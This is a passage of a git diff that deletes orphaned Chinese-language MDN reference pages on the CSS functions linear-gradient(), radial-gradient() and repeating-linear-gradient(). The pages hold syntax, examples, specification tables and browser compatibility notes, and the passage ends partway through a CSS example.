href="http://www.w3.org/TR/2011/WD-css3-images-20110217/#ltlinear-gradient">CSS Images Values and Content Replacement Level 3 draft in 2011-02-17</a>。</p> - -<ul> - <li>原生支持{{ cssxref("<angle>") }}允许任何方向的渐变</li> - <li>定义magic corner算法,允许使用简便的方式定义端点的颜色,从而简化了开发者的工作</li> -</ul> - -<p>在预乘颜色空间里定义过渡色,从而可以防止在使用不同透明度颜色的情况下出现违和的灰色。在未舍弃原生语法的情况下,带前缀的版本被Webkit和Trident(IE)实现。</p> - -<pre class="notranslate">linear-gradient(<code> [ </code>[ {{cssxref("<angle>")}} | <code>[top | bottom] || [left | right] ],]? <color-stop>[, <color-stop>]+);</code> -</pre> - -<p>{{ cssxref("<angle>") }}属性的添加导致了一些混乱,它应当指向终点方向,但是这些关键字却通常指起始方向。在<a href="http://lists.w3.org/Archives/Public/www-style/2011Jun/0377.html">related W3C CSSWG thread</a>可以查看一些讨论。在一项新的语法中,这个问题被修正。它仍然使用方向关键字,但是在关键字之前增加关键字 <code>to</code> 。这项语法被添加到<a href="http://www.w3.org/TR/2011/WD-css3-images-20110908/#ltlinear-gradient">CSS Images Values and Content Replacement Level 3 draft in 2011-09-08</a>。</p> - -<pre class="notranslate">linear-gradient(<code>[ [ </code>[ {{cssxref("<angle>")}} | to <code>[top | bottom] || [left | right] ],]? <color-stop>[, <color-stop>]+);</code> -</pre> - -<p>以上应当是最终语法。</p> - -<p>在带前缀的变体和不带前缀的提案之间仍然存在一项语义的分歧。最终Apple的提案显示,带前缀的语法都使用极坐标定义{{ cssxref("<angle>") }}参数,导致了<code>0deg指向东方。为了与CSS的其他部分保持一致,标准将0deg指向北方。为了防止使用前缀版本属性的站点不至于崩溃,它们保持原始的角度定义(0deg指向东方)。在使用不带前缀版本的时候将会切换到正确的规格。在这种不兼容的情况下,</code>Gecko给所有语法都加上前缀,不带前缀且没有to关键词的语法会被丢弃。</p> - -<h2 id="范例">范例</h2> - -<h3 id="例_45度渐变">例 45度渐变</h3> - -<p>可以为渐变轴某个位置指定某个颜色,这些位置可被称为“颜色中间点(color-stops)”。颜色会从一个颜色中间点平滑过渡到下一个。在渐变范围内,每个颜色都表现为一条垂直于渐变轴的直线。在下图中,渐变轴从左上角出发并且呈45度。渐变轴上定义了红色和蓝色两个颜色中间点。</p> - -<pre class="brush: html notranslate"><code><div style="width: 200px; height: 200px;"></div></code></pre> - -<pre class="brush: css notranslate"><code>div { - background: linear-gradient(45deg, red, blue); -}</code></pre> - -<p>{{EmbedLiveSample("45度渐变",120,120)}}</p> - -<h3 id="从60%的梯度线开始的渐变">从60%的梯度线开始的渐变</h3> - -<p>有时候我们不希望一开始就出现渐变,可以从中间某个地方开始最好。为了实现这个效果,可以在你希望渐变梯度开始的地方,加上一个同样色值的颜色中间点。</p> - -<pre class="brush: html notranslate"><code><div style="width: 200px; height: 200px;"></div></code></pre> - -<pre class="brush: css notranslate"><code>div { - background: linear-gradient(135deg, red, red 60%, blue); -}</code></pre> - -<h4 id="Result">Result:</h4> - -<p>{{EmbedLiveSample("从60%的梯度线开始的渐变")}}</p> - -<h3 id="具有多个颜色停止的渐变">具有多个颜色停止的渐变</h3> - -<p>如果第一个颜色中间点没有 <code><length></code> 或 <code><percentage></code>属性,那么它默认为0%。如果最后一个颜色中间点没有 <code><length></code> 或者 <code><percentage></code>属性, 则默认为100%。如果一个既不是起始也不是终止的颜色中间点,没有被明确声明位置,那么这个颜色就会从前后两个颜色的中间位置开始。</p> - -<p>颜色中间点必须按照顺序声明。给起始和终止的颜色中间值赋值后,如果一个颜色中间点的位置比任何一个颜色中间点的位置都要小,那它的位置会按照离它最近的一个颜色中间点来计算。</p> - -<pre class="brush: html notranslate"><code><div>A rainbow made from a gradient</div></code></pre> - -<pre class="brush: css notranslate"><code>div { - background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); -}</code></pre> - -<h4 id="Result_2">Result:</h4> - -<p>{{EmbedLiveSample("具有多个颜色停止的渐变")}}</p> - -<h3 id="包含多个颜色中间点的渐变">包含多个颜色中间点的渐变</h3> - -<p>如果第一个颜色中间点没有<font face="Consolas, Liberation Mono, Courier, monospace">定义长度或百分比,</font>它将包含缺省值<font face="Consolas, Liberation Mono, Courier, monospace">0</font>。如果最后一个颜色中间点没有定义长度或百分比,它将包含缺省值100%。如果中间的颜色中间点没定义长度或百分比,那么它将被设定为前后两站的平均值。</p> - -<p>颜色中间点必须被按顺序定义。第一个和最后一个被分配为默认值之后,如果一个颜色中间点的位置比前一个小,那么将会被设定成与前一个相同的值。</p> - -<div>使用渐变制作彩虹</div> - -<pre class="brush: css notranslate">background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); -</pre> - -<h3 id="线性重复渐变">线性重复渐变</h3> - -<p>线性渐变目前不能实现重复渐变。默认情况下,渐变会撑满它被定义的元素。这项功能可以参考{{ Cssxref("repeating-linear-gradient") }}。</p> - -<h3 id="使用透明度">使用透明度</h3> - -<pre class="brush: html notranslate"><code><div></code>线性与透明度<code></div></code></pre> - -<pre class="brush: css notranslate"><code>div { - background: linear-gradient(to bottom right, red, rgba(0,0,0,0)); -}</code></pre> - -<h4 id="Result_3">Result:</h4> - -<p>{{EmbedLiveSample("使用透明度")}}</p> - -<p>如果所有点和长度都使用固定单位(而不是相对于background-size的值指定的百分比或关键字),则渐变背景不受 {{Cssxref("background-size")}} 的影响。</p> - -<h3 id="跨浏览器实施渐变">跨浏览器实施渐变</h3> - -<p>这里包含了所有前缀的渐变设置。</p> - -<pre class="brush: css notranslate">.grad { - background-color: #F07575; /* 不支持渐变的浏览器回退方案 */ - background-image: -webkit-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* 支持 Chrome 25 and Safari 6, iOS 6.1, Android 4.3 */ - background-image: -moz-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* 支持 Firefox (3.6 to 15) */ - background-image: -o-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* 支持旧 Opera (11.1 to 12.0) */ - background-image: linear-gradient(to bottom, hsl(0, 80%, 70%), #bada55); /* 标准语法; 需要最新版本 */ -} -</pre> - -<p>-moz-前缀的规则用于兼容Fx 3.6 to Fx 15的火狐浏览器。 -webkit-前缀的规则用于兼容在Android 4.3以前版本、iOS 6.1以前版本、Safari 6。当使用带前缀的规则时,不要加“to”关键字。</p> - -<div class="note"> -<p>Notes:如果将<body>标签的background-image属性设置为线性渐变<code>linear-gradient</code>,除非您还设置文档根标签(例如<html>标签)的<a href="/zh-CN/docs/Web/CSS/min-height">min-height</a>属性,否则渐变不会填充浏览器屏幕到100%。</p> -</div> - -<h2 id="规范">规范</h2> - -<table> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS3 Images', '#linear-gradients', 'linear-gradient()')}}</td> - <td>{{Spec2('CSS3 Images')}}</td> - <td>Initial definition</td> - </tr> - <tr> - <td>{{SpecName('CSS4 Images', '#color-stop-syntax', 'Gradient Color-Stops')}}</td> - <td>{{Spec2('CSS4 Images')}}</td> - <td>Add Interpolation hints</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{CompatibilityTable}}</p> - -<table> - <tbody> - <tr> - <th>Feature</th> - <th>Firefox (Gecko)</th> - <th>Chrome</th> - <th>Internet Explorer</th> - <th>Opera (Presto)</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support (on {{cssxref("background")}} and {{cssxref("background-image")}})</td> - <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<sup>[1]</sup><br> - {{CompatGeckoDesktop("16")}}<sup>[2]</sup></td> - <td>10.0 (534.16){{property_prefix("-webkit")}}<sup>[6]</sup></td> - <td>10.0<sup>[4]</sup></td> - <td>11.10{{property_prefix("-o")}}<sup>[1]</sup></td> - <td>5.1{{property_prefix("-webkit")}}<sup>[6]</sup></td> - </tr> - <tr> - <td>On {{cssxref("border-radius")}}</td> - <td>{{CompatGeckoDesktop("29")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>On any other property that accepts {{cssxref("<image>")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>Legacy webkit syntax{{non-standard_inline}}</td> - <td>{{CompatNo}}</td> - <td>3{{property_prefix("-webkit")}}<sup>[3]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>4.0{{property_prefix("-webkit")}}<sup>[3]</sup></td> - </tr> - <tr> - <td>Legacy 'from' syntax (without <code>to</code>){{non-standard_inline}}</td> - <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<sup>[5]</sup></td> - <td>10.0 (534.16){{property_prefix("-webkit")}}<sup>[3]</sup></td> - <td>10</td> - <td>11.10{{property_prefix("-o")}}<sup>[5]</sup></td> - <td>5.1{{property_prefix("-webkit")}}<sup>[3]</sup></td> - </tr> - <tr> - <td>Standard syntax (using the <code>to</code> keyword)</td> - <td>{{CompatGeckoDesktop("16")}}</td> - <td>26.0 (537.27)</td> - <td>10</td> - <td>12.10</td> - <td>6.1</td> - </tr> - <tr> - <td>Interpolation hints (a percent without a color)</td> - <td>{{CompatGeckoDesktop("36")}}</td> - <td>40</td> - <td>{{CompatUnknown}}</td> - <td>27</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td>Unitless 0 for <code><angle></code></td> - <td>{{CompatGeckoDesktop("46")}}{{property_prefix("-moz")}}<sup>[7]</sup></td> - <td>{{CompatVersionUnknown}}</td> - <td>Edge 12</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> - -<table> - <tbody> - <tr> - <th>Feature</th> - <th>Firefox (Gecko)</th> - <th>Chrome</th> - <th>Internet Explorer</th> - <th>Opera (Presto)</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support (on {{cssxref("background")}} and {{cssxref("background-image")}})</td> - <td>{{CompatGeckoMobile("1.9.2")}}{{property_prefix("-moz")}}<sup>[1]</sup><br> - {{CompatGeckoMobile("16")}}[2]</td> - <td>16{{property_prefix("-webkit")}}<br> - 26</td> - <td>10</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>On {{cssxref("border-radius")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td>On any other property that accepts {{cssxref("<image>")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td>Legacy webkit syntax{{non-standard_inline}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td>Legacy 'from' syntax (without <code>to</code>){{non-standard_inline}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td>Standard syntax (using the <code>to</code> keyword)</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td>Interpolation hints (a percent without a color)</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> - -<p>[1] Gecko, Opera & Webkit consider {{cssxref("<angle>")}} to start to the right, instead of the top. I.e. it considered an angle of <code>0deg</code> as a direction indicator pointing to the right. This is different from the latest specification where an angle of <code>0deg</code> as a direction indicator points to the top. Since Firefox 42, the prefixed version of gradients can be disabled by setting <code>layout.css.prefixes.gradients</code> to <code>false</code>.</p> - -<p>[2] Before Gecko 36.0 {{geckoRelease("36.0")}}, Gecko didn't apply gradients on the pre-multiplied color space, leading to shades of grey unexpectedly appearing when used with transparency.</p> - -<p>[3] WebKit since 528 supports the legacy <a href="http://developer.apple.com/safari/library/documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradient.html"><code>-webkit-gradient(linear,…)</code> function</a>. As of WebKit 534.16, it also supports the standard gradient syntax. Unlike in Gecko, in legacy WebKit you cannot specify both a position and an angle in <code>-webkit-linear-gradient()</code>. You can achieve the same effect by offsetting the color stops.</p> - -<p>[4] Internet Explorer 5.5 through 9.0 supports proprietary <a href="http://msdn.microsoft.com/en-us/library/ms532997(VS.85,loband).aspx"><code>filter: progid:DXImageTransform.Microsoft.Gradient()</code> filter</a>.</p> - -<p>[5] Firefox 3.6 and Opera 11.10 implemented, prefixed, an early syntax where the starting corner or side was indicated without the <code>to</code> keyword, and effectively considered as a 'from' position. The <code>to</code> syntax has been added in Firefox 10 and Opera 11.60.</p> - -<p>In addition to the unprefixed support using the standard syntax, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the function using the legacy 'from' syntax for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p> - -<p>[6] Opera & Webkit consider {{cssxref("<angle>")}} to start to the right, instead of the top. I.e. it considered an angle of <code>0deg</code> as a direction indicator pointing to the right. This is different from the latest specification where an angle of <code>0deg</code> as a direction indicator points to the top. Since Firefox 42, the prefixed version of gradients can be disabled by setting <code>layout.css.prefixes.gradients</code> to <code>false</code>. WebKit since 528 supports the legacy <a href="http://developer.apple.com/safari/library/documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradient.html"><code>-webkit-gradient(linear,…)</code> function</a>. As of WebKit 534.16, it also supports the standard gradient syntax. Unlike in Gecko, in legacy WebKit you cannot specify both a position and an angle in <code>-webkit-linear-gradient()</code>. You can achieve the same effect by offsetting the color stops.</p> - -<p>[7] <code>linear-gradient(0, pink, teal)</code> equivalent to <code>linear-gradient(0deg, pink, teal)</code>,See {{bug("1239153")}}.</p> - -<h2 id="了解更多">了解更多</h2> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Using CSS gradients</a>, {{cssxref("radial-gradient", "radial-gradient()")}}, {{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}, {{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}};</li> - <li>Some properties where it can be used: {{cssxref("background-image")}}, {{cssxref("background")}};</li> - <li><a href="http://lea.verou.me/css3patterns/">CSS Gradients Patterns Gallery, by Lea Verou</a></li> - <li><a href="http://standardista.com/cssgradients">CSS3 Gradients Library, by Estelle Weyl</a>.</li> -</ul> diff --git a/files/zh-cn/orphaned/web/css/radial-gradient()/index.html b/files/zh-cn/orphaned/web/css/radial-gradient()/index.html deleted file mode 100644 index 896d55a200..0000000000 --- a/files/zh-cn/orphaned/web/css/radial-gradient()/index.html +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: radial-gradient() -slug: orphaned/Web/CSS/radial-gradient() -tags: - - CSS - - CSS Function - - Reference - - Web - - gradient -translation_of: Web/CSS/radial-gradient() -original_slug: Web/CSS/radial-gradient() ---- -<p>{{CSSRef}}</p> - -<p> <code>radial-gradient()</code> CSS函数创建了一个图像,该图像是由从原点发出的两种或者多种颜色之间的逐步过渡组成。它的形状可以是圆形(circle)或椭圆形(ellipse)。这个方法得到的是一个CSS{{cssxref("<gradient>")}}数据类型的对象,其是 {{cssxref("<image>")}} 的一种。</p> - -<p>{{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}</p> - -<p>与其它渐变相同,径向渐变是一个<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/image#no_intrinsic">不固定尺寸</a>的图像,即,它没有首选的大小,也没有首选的比例。具体大小将由它所应用的元素的大小决定。</p> - -<p>如要创建重复的径向渐变来填充容器,请使用CSS的{{ Cssxref("repeating-radial-gradient") }} 方法。</p> - -<p>因为 <code><gradient></code> 属于 <code><image></code> 类型,所以它可以用于任何适用于 <code><image></code> 的地方。正是因为这样,<code>radial-gradient()</code> 不能用于 {{Cssxref("background-color")}} 和其他属性比如 {{cssxref("<color>")}} 数据类型。</p> - -<h2 id="radial_gradient_的组成">radial gradient 的组成</h2> - -<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">径向渐变(Radial gradients)由其<em>中心点</em>、<em>边缘形状</em>轮廓、<em>两个或多个色值结束点(color stops)</em>定义而成。 </p> - -<p>为了创建平滑的渐变,径向渐变函数绘制了一系列从中心点放射到边缘形状(甚至可能超出范围)的同心轮廓。边缘形状可以是圆形(circle)或椭圆形(ellipse)。</p> - -<p>色彩结束点位于虚拟渐变射线(Virtual gradient ray)上,该渐变射线从中心点水平向右延伸。 基于百分比的色彩结束位置是相对于边缘形状和此渐变射线之间的交点(代表100%)。 每个形状都是一种单色,并由其相交的渐变射线上的颜色确定。</p> - -<h2 id="语法">语法</h2> - -<pre class="notranslate"><code>/* A gradient at the center of its container, - starting red, changing to blue, and finishing green */ -radial-gradient(circle at center, red 0, blue, green 100%)</code></pre> - -<h3 id="值">值</h3> - -<dl> - <dt><code>{{cssxref("<position>")}}</code></dt> - <dd>{{ cssxref("<position>") }}与{{ Cssxref("background-position") }}或者{{ Cssxref("transform-origin") }}类似。如缺省,默认为中心点。</dd> - <dt><code><shape></code></dt> - <dd>渐变的形状。圆形(渐变的形状是一个半径不变的正圆)或椭圆形(轴对称椭圆)。默认值为椭圆。</dd> - <dt><code><size></code></dt> - <dd>渐变的尺寸大小。包含的值见下表{{ anch("尺寸常数表") }}。</dd> - <dt><code><color-stop></code></dt> - <dd>表示某个确定位置的固定色值,包含一个{{cssxref("<color>")}}值加上可选的位置值(相对虚拟渐变射线的{{cssxref("<percentage>")}}或者{{cssxref("<length>")}}长度值)。 百分比值<code>0%</code>,或者长度值<code>0</code>,表示渐变中心点;百分比值<code>100%</code>表示渐变射线与边缘形状相交的点。 其间的百分比值线性对应渐变射线上的点。</dd> - <dt><code><extent-keyword></code></dt> - <dd>关键字用于描述边缘轮廓的具体位置。以下为关键字常量:</dd> - <dd> - <table class="standard-table"> - <tbody> - <tr> - <th>常量</th> - <th>描述</th> - </tr> - <tr> - <td><code>closest-side</code></td> - <td>渐变的边缘形状与容器距离渐变中心点最近的一边相切(圆形)或者至少与距离渐变中心点最近的垂直和水平边相切(椭圆)。</td> - </tr> - <tr> - <td><code>closest-corner</code></td> - <td>渐变的边缘形状与容器距离渐变中心点最近的一个角相交。</td> - </tr> - <tr> - <td><code>farthest-side</code></td> - <td>与closest-side相反,边缘形状与容器距离渐变中心点最远的一边相切(或最远的垂直和水平边)。</td> - </tr> - <tr> - <td><code>farthest-corner</code></td> - <td>渐变的边缘形状与容器距离渐变中心点最远的一个角相交。</td> - </tr> - </tbody> - </table> - - <div class="blockIndicator note"> - <p>注意:该函数的早期实现还包含其他关键字( <code>cover</code> 和 <code>contain</code>),分别相当于标准关键字 <span class="st"><code>farthest-corner</code></span> 和 <code>closest-side</code> 。但因为在某些实现中丢弃了这些旧的关键字,所以请仅使用标准关键字。</p> - </div> - </dd> - <dt><code><linear-color-stop></code></dt> - <dd>A color-stop's {{cssxref("<color>")}} value, followed by an one or two optional stop positions (either a {{cssxref("<percentage>")}} or a {{cssxref("<length>")}} along the gradient's axis). A percentage of <code>0%</code>, or a length of <code>0</code>, represents the center of the gradient; the value <code>100%</code> represents the intersection of the ending shape with the virtual gradient ray. Percentage values in between are linearly positioned on the gradient ray. Including two stop positions is equivalent to declaring two color stops with the same color at the two positions.</dd> - <dt><code><color-hint></code></dt> - <dd>Th color-hint is an interpolation hint defining how the gradient progresses between adjacent color stops. The length defines at which point between two color stops the gradient color should reach the midpoint of the color transition. If omitted, the midpoint of the color transition is the midpoint between two color stops.</dd> - <dt> - <h3 id="Formal_syntax">Formal syntax</h3> - - <pre class="notranslate">radial-gradient( - [ [ circle || <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/length"><length></a> ] [ at <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/position_value"><position></a> ]? , | - [ ellipse || [ <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/length"><length></a> | <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/percentage"><percentage></a> ]{2} ] [ at <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/position_value"><position></a> ]? , | - [ [ circle | ellipse ] || <extent-keyword> ] [at <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/position_value"><position></a> ]? , | - at <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/position_value"><position></a> , - ]? - <color-stop-list> [ , <color-stop-list> ]+ -) -where <extent-keyword> = closest-corner | closest-side | farthest-corner | farthest-side - and <color-stop-list> = [ <linear-color-stop> [, <color-hint>? ]? ]#, <linear-color-stop> - and <linear-color-stop> = <color> [ <color-stop-length> ]? - and <color-stop-length> = [ <percentage> | <length> ]{1,2} - and <color-hint> = [ <percentage> | <length> ] -</pre> - - <div class="blockIndicator warning"> - <p>Note that negative <code><length></code>'s are not allowed, however browsers had implemented negative lengths which are now being removed. <a href="https://www.fxsitecompat.dev/en-CA/docs/2019/css-radial-gradients-no-longer-accept-negative-radii/">See the Firefox site compat note</a>.</p> - </div> - </dt> -</dl> - -<h2 id="示例">示例</h2> - -<h3 id="Simple_gradient">Simple gradient</h3> - -<div class="hidden"> -<pre class="brush: html notranslate"><div class="radial-gradient"></div> -</pre> - -<pre class="brush: css notranslate">.radial-gradient { - width: 240px; - height: 120px; -}</pre> -</div> - -<pre class="brush: css notranslate">.radial-gradient { - background-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%); -} </pre> - -<p>{{EmbedLiveSample('Simple_gradient', 120, 120)}}</p> - -<h3 id="Non-centered_gradient">Non-centered gradient</h3> - -<div class="hidden"> -<pre class="brush: html notranslate"><div class="radial-gradient"></div> -</pre> - -<pre class="brush: css notranslate">.radial-gradient { - width: 240px; - height: 120px; -}</pre> -</div> - -<pre class="brush: css notranslate">.radial-gradient { - background-image: radial-gradient(farthest-corner at 40px 40px, - #f35 0%, #43e 100%); -}</pre> - -<p>{{EmbedLiveSample('Non-centered_gradient', 240, 120)}}</p> - -<div class="note"> -<p><strong>Note:</strong> Please see <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Using CSS gradients</a> for more examples.</p> -</div> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS3 Images', '#radial-gradients', 'radial-gradients()')}}</td> - <td>{{Spec2('CSS3 Images')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<div>{{Compat("css.types.image.gradient.radial-gradient")}}</div> - -<h3 id="Quantum_CSS_notes">Quantum CSS notes</h3> - -<p>Gecko used to have a long-standing bug whereby radial gradients like <code>radial-gradient(circle gold,red)</code> would work, even though they shouldn't because of the missing comma between <code>circle</code> and <code>gold</code>. Also, {{cssxref("calc")}} expressions were rejected — causing the value to be invalid — when used as the radius component of a <code>radial-gradient()</code> function ({{bug(1376019)}}). Firefox's new parallel CSS engine (also known as <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> or <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, released in Firefox 57) fixed these bugs.</p> - -<h2 id="另见">另见</h2> - -<ul> - <li><a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Using CSS gradients</a></li> - <li>Other gradient functions: {{cssxref("repeating-radial-gradient")}}, {{cssxref("linear-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-conic-gradient")}}</li> - <li>{{cssxref("<image>")}}</li> - <li>{{cssxref("_image","image()")}}</li> - <li>{{cssxref("element()")}}</li> - <li>{{cssxref("image-set","image-set()")}}</li> - <li>{{cssxref("cross-fade")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/css/repeating-linear-gradient()/index.html b/files/zh-cn/orphaned/web/css/repeating-linear-gradient()/index.html deleted file mode 100644 index 405cb3f15f..0000000000 --- a/files/zh-cn/orphaned/web/css/repeating-linear-gradient()/index.html +++ /dev/null @@ -1,297 +0,0 @@ ---- -title: repeating-linear-gradient -slug: orphaned/Web/CSS/repeating-linear-gradient() -translation_of: Web/CSS/repeating-linear-gradient() -original_slug: Web/CSS/repeating-linear-gradient() ---- -<div>{{CSSRef}}</div> - -<p>CSS函数 <strong><code>repeating-linear-gradient()</code></strong> 创建一个由重复线性渐变组成的{{cssxref("<image>")}}, 这是一个类似 {{cssxref("linear-gradient")}} 的函数,并且采用相同的参数,但是它会在所有方向上重复渐变以覆盖其整个容器. 这个函数的结果是一个{{cssxref("<gradient>")}} 数据类型的对象, 这是一个特殊的{{cssxref("<image>")}}类型。</p> - -<pre class="brush: css no-line-numbers notranslate">/* 一个倾斜45度的重复线性渐变, - 从蓝色开始渐变到红色 */ -repeating-linear-gradient(45deg, blue, red); - -/* 一个从右下角到左上角的重复线性渐变, - 从蓝色开始渐变到红色 */ -repeating-linear-gradient(to left top, blue, red); - -/* 一个由下至上的重复线性渐变, - 从蓝色开始,40%后变绿, - 最后渐变到红色 */ -repeating-linear-gradient(0deg, blue, green 40%, red); -</pre> - -<p> </p> - -<p>每次重复时,色标位置的偏移量都是基准渐变长度(最后一个色标和第一个之间的距离)的倍数。因此,最后色标的色值应该与第一个色标的色值保持一致;如果不一致的话,会导致非常突兀的渐变效果。</p> - -<p>与其他渐变一样,线形重复渐变没有提供 <a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">固定的尺寸</a>;即, 它没有原始尺寸或首选尺寸,也没有首选的比列。它将自适应于对应元素的尺寸。</p> - -<div class="note"> -<p><strong>提示:</strong> 因为 <code><gradient></code> 属于<code><image></code> 数据类型,所以只能在可以使用 <code><image></code>的地方使用它们。因此<code>repeating-linear-gradient()</code> 不适用于{{Cssxref("background-color")}}以及使用 {{cssxref("<color>")}} 数据类型的地方。</p> -</div> - -<h2 id="语法">语法</h2> - -<h3 id="值">值</h3> - -<dl> - <dt><code><side-or-corner></code></dt> - <dd>描述渐变线的起始点位置。它包含两个关键词:第一个指出垂直位置left or right,第二个指出水平位置top or bottom。关键词的先后顺序无影响,且都是可选的。</dd> - <dd><br> - to top, to bottom, to left 和 to right这些值会被转换成角度0度、180度、270度和90度。其余值会被转换为一个以向顶部中央方向为起点顺时针旋转的角度。渐变线的结束点与其起点中心对称。</dd> - <dt>{{cssxref("<angle>")}}</dt> - <dd>用角度值指定渐变的方向(或角度)。角度顺时针增加。 </dd> - <dt><code><color-stop></code></dt> - <dd>由一个{{cssxref("<color>")}}值组成,并且跟随着一个可选的终点位置(可以是一个{{cssxref("<percentage>")}}或者是沿着渐变轴的{{cssxref("<length>")}})。CSS渐变的颜色渲染采取了与SVG相同的规则。</dd> - <dd> - <div class="note"> - <p><strong>提示:</strong>渲染颜色中间点的规则<a href="#Gradient_with_multiple_color_stops">CSS渐变中的色标</a> 与<a href="/en-US/docs/Web/SVG/Tutorial/Gradients">SVG渐变</a>一致.</p> - </div> - </dd> -</dl> - -<h3 id="形式语法">形式语法</h3> - -<pre class="syntaxbox notranslate">repeating-linear-gradient( [ <a href="/en-US/CSS/angle"><angle></a> | to <side-or-corner> ,]? <color-stop> [, <color-stop>]+ ) - \---------------------------------/ \----------------------------/ - 渐变轴的定义 色标列表 - -where <code><side-or-corner> = [left | right] || [top | bottom]</code> - and <code><color-stop> = <color> [ <percentage> | <length> ]?</code> -</pre> - -<h2 id="示例">示例</h2> - -<div id="Example_shown"> -<pre class="brush: css notranslate">#grad1 { - background-image: repeating-linear-gradient(180deg, - rgb(26,198,204), - rgb(26,198,204) 7%, - rgb(100,100,100) 10%); -} - -#grad2 { - background-image: repeating-linear-gradient(-45deg, - transparent, - transparent 25px, - rgba(255,255,255,1) 25px, - rgba(255,255,255,1) 50px); -} -</pre> - -<pre class="brush: html notranslate"><ol> - <li>Repeating horizontal bars - <div id="grad1"></div> - </li> - <li>Zebra stripes - <div id="grad2"></div> - </li> -</ol></pre> -</div> - -<div id="Example_hidden" class="hidden"> -<pre class="brush: css notranslate">div { - display: block; - width: 50%; - height: 80px; - border-color: #000000; - padding: 10px; -} - -#grad1 { - background-image: -moz-repeating-linear-gradient(180deg,rgb(26,198,204),rgb(26,198,204) 7%, rgb(100,100,100) 10%); - background-image: -webkit-repeating-linear-gradient(180deg,rgb(26,198,204),rgb(26,198,204) 7%, rgb(100,100,100) 10%); - background-image: -o-repeating-linear-gradient(180deg,rgb(26,198,204),rgb(26,198,204) 7%, rgb(100,100,100) 10%); - background-image: repeating-linear-gradient(180deg,rgb(26,198,204),rgb(26,198,204) 7%, rgb(100,100,100) 10%); -} - -#grad2 { 